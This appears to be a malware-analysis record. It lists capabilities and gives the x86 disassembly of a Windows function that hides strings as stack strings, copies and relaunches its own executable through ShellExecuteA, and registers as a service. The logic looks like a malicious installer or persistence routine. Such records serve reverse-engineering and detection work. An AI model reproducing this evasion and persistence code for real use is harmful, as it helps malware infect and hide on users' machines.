Function at 0x40f1c2
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x774
push ebx
push esi
lea eax, [ebp - 0x48]
push edi
push eax
lea eax, [ebp - 0x34]
xor ebx, ebx
push eax
mov byte [ebp - 0x34], 0x55
mov byte [ebp - 0x33], 0x53
mov byte [ebp - 0x32], 0x45
mov byte [ebp - 0x31], 0x52
mov byte [ebp - 0x30], 0x33
mov byte [ebp - 0x2f], 0x32
mov byte [ebp - 0x2e], 0x2e
mov byte [ebp - 0x2d], 0x64
mov byte [ebp - 0x2c], 0x6c
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], bl
mov byte [ebp - 0x48], 0x50
mov byte [ebp - 0x47], 0x6f
mov byte [ebp - 0x46], 0x73
mov byte [ebp - 0x45], 0x74
mov byte [ebp - 0x44], 0x54
mov byte [ebp - 0x43], 0x68
mov byte [ebp - 0x42], 0x72
mov byte [ebp - 0x41], 0x65
mov byte [ebp - 0x40], 0x61
mov byte [ebp - 0x3f], 0x64
mov byte [ebp - 0x3e], 0x4d
mov byte [ebp - 0x3d], 0x65
mov byte [ebp - 0x3c], 0x73
mov byte [ebp - 0x3b], 0x73
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x65
mov byte [ebp - 0x37], 0x41
mov byte [ebp - 0x36], bl
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push ebx
push ebx
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push eax
call esi
call dword [sym.imp.USER32.dll_GetInputState]
push ebx
push ebx
lea eax, [ebp - 0x68]
push ebx
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x773]
mov byte [ebp - 0x774], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, 0x48b328
push 0x354
push esi
stosb byte es:[edi], al
call fcn.0040eea6
push 0x19a
push 0x48b188
call fcn.0040eea6
push str.Win7
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0x18
test eax, eax
je 0x40f2e2
mov ecx, dword [0x49d6f4]
push 0x48b1f0
push 0x49d868
call fcn.0040abb9
jmp 0x40f5e4
push 1
call fcn.0040eb92
test eax, eax
pop ecx
jne 0x40f543
push 0x40
lea edi, [ebp - 0x373]
pop ecx
mov byte [ebp - 0x374], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x374]
push 0x104
mov edi, 0x48b50c
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
mov ecx, dword [0x49d6f4]
lea eax, [ebp - 0x374]
push eax
push edi
call fcn.0040abb9
mov ecx, dword [0x49d6f4]
push edi
call fcn.0040ab52
cmp byte [eax + 0x48b50b], 0x5c
jne 0x40f358
mov ecx, dword [0x49d6f4]
push edi
call fcn.0040ab52
mov byte [eax + 0x48b50b], bl
push 0x48b570
lea eax, [ebp - 0x20]
push edi
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
push 0x49d6f8
mov byte [ebp - 0x20], 0x25
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0x5c
mov byte [ebp - 0x1d], 0x25
mov byte [ebp - 0x1c], 0x73
mov byte [ebp - 0x1b], bl
call edi
mov ecx, dword [0x49d6f4]
add esp, 0x10
push 0x48b1f0
push 0x49d868
call fcn.0040abb9
cmp dword [0x48b678], ebx
je 0x40f3ab
call fcn.0040f0f4
cmp byte [0x48b670], bl
je 0x40f559
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x26f]
mov byte [ebp - 0x270], bl
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x270]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov ecx, dword [0x49d6f4]
lea eax, [ebp - 0x270]
push 0x49d6f8
push eax
call fcn.0040abd9
test eax, eax
jne 0x40f45f
cmp byte [0x48b670], 2
mov word [0x49d844], 3
jne 0x40f455
mov dword [ebp - 0x10], esi
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x1f4
mov dword [ebp - 0xc], 0x40f0ef
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
mov word [0x49d844], 1
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
lea eax, [ebp - 0x10]
push eax
call edi
push 0x3e8
call esi
lea eax, [ebp - 0x10]
push eax
call edi
mov word [0x49d844], 2
call fcn.0040f04a
jmp 0x40f5e9
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x16b]
mov byte [ebp - 0x16c], bl
mov dword [ebp + 0x10], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x48b570
lea eax, [ebp - 0x28]
push edi
push 0x48b50c
push eax
lea eax, [ebp - 0x16c]
push eax
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x28], 0x25
mov byte [ebp - 0x27], 0x73
mov byte [ebp - 0x26], 0x5c
mov byte [ebp - 0x25], 0x25
mov byte [ebp - 0x24], 0x73
mov byte [ebp - 0x23], bl
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x48b5a2
push esi
call fcn.00409c4e
push esi
call fcn.0040e9c0
push 0x48b40c
push 0x48b38c
lea eax, [ebp - 0x16c]
push esi
push eax
call fcn.0040f5f2
add esp, 0x2c
push edi
call fcn.0041354a
test eax, eax
pop ecx
jne 0x40f52b
inc dword [ebp + 0x10]
cmp dword [ebp + 0x10], 0xbb8
jb 0x40f4d9
push 5
push ebx
lea eax, [ebp - 0x16c]
push ebx
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
mov dword [ebp + 0x10], ebx
mov byte [ebp - 0x18], 0x6f
mov byte [ebp - 0x17], 0x70
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x6e
mov byte [ebp - 0x14], bl
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 3
jae 0x40f5e9
jmp 0x40f4d9
cmp byte [0x48b670], 1
jne 0x40f543
lea eax, [ebp - 0x16c]
push eax
push esi
call fcn.0040dd7b
pop ecx
pop ecx
cmp dword [0x48b66c], ebx
je 0x40f5e9
call fcn.0040df58
jmp 0x40f5e9
lea eax, [ebp + 0x10]
push esi
push eax
push esi
mov byte [ebp + 0x10], 0x25
mov byte [ebp + 0x11], 0x73
mov byte [ebp + 0x12], bl
call edi
lea eax, [ebp - 0x774]
push 0x400
push eax
lea eax, [ebp - 0x10]
push eax
push esi
mov byte [ebp - 0x10], 0x43
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x47
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x75
mov byte [ebp - 5], 0x70
mov byte [ebp - 4], bl
call fcn.0040d78d
add esp, 0x1c
lea eax, [ebp - 0x774]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
jne 0x40f5dd
push 0x48b5a2
push esi
call fcn.00409c4e
push esi
call fcn.0040e9c0
add esp, 0xc
mov word [0x49d844], bx
call fcn.0040ebdd
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10